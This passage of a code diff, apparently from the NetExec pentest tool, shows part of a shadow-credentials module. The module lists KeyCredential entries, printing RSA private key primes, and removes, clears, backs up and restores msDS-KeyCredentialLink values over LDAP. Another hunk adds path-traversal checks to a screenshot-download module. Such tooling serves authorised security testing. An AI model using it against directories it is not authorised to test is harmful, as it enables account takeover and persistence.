"Version": hex(credential.Version.value),
"Key ID": credential.Identifier,
"Key hash": credential.KeyHash.hex(),
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
" Exponent (E)": credential.RawKeyMaterial.exponent,
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
"Usage": credential.Usage,
"Legacy usage": credential.LegacyUsage,
"Source": credential.Source,
"Custom key info": credential.CustomKeyInfo,
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
"Last logon time": credential.LastLogonTime,
"Creation time": credential.CreationTime,
}.items():
self.context.log.highlight(f"{name:<17} {value}")
def remove(self, target_dn, credentials):
result = self.get_credential(credentials)
if result is None:
return
raw_value, _ = result
try:
# Delete the exact raw value so neighboring credentials remain untouched.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
return
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
def clear(self, target_dn, raw_values):
if not raw_values:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
return
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
def backup(self, raw_values):
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
def revert(self, target_dn):
try:
key_credentials = []
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
if not isinstance(key_credential, (dict, str)):
raise ValueError("keyCredentials entries must be objects or strings")
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
except Exception as e:
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
except Exception as e:
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
return
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
+8 -4
View File
@@ -1,7 +1,9 @@
import ntpath
import os
from os.path import join, getsize, exists
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -84,9 +86,11 @@ class NXCModule:
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
local_file_path = join(user_output_dir, local_file_name)
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
if Path(user_output_dir).resolve() not in local_file_path.parents:
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
continue
context.log.debug(f"{local_file_path=}")
try:
with open(local_file_path, "wb") as local_file:
@@ -107,7 +111,7 @@ class NXCModule:
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}/")
def find_screenshots_folders(self, user_folder_name):
"""
Loaded 100 of 175 files, more files were not shown because too many files have changed in this diff. Show more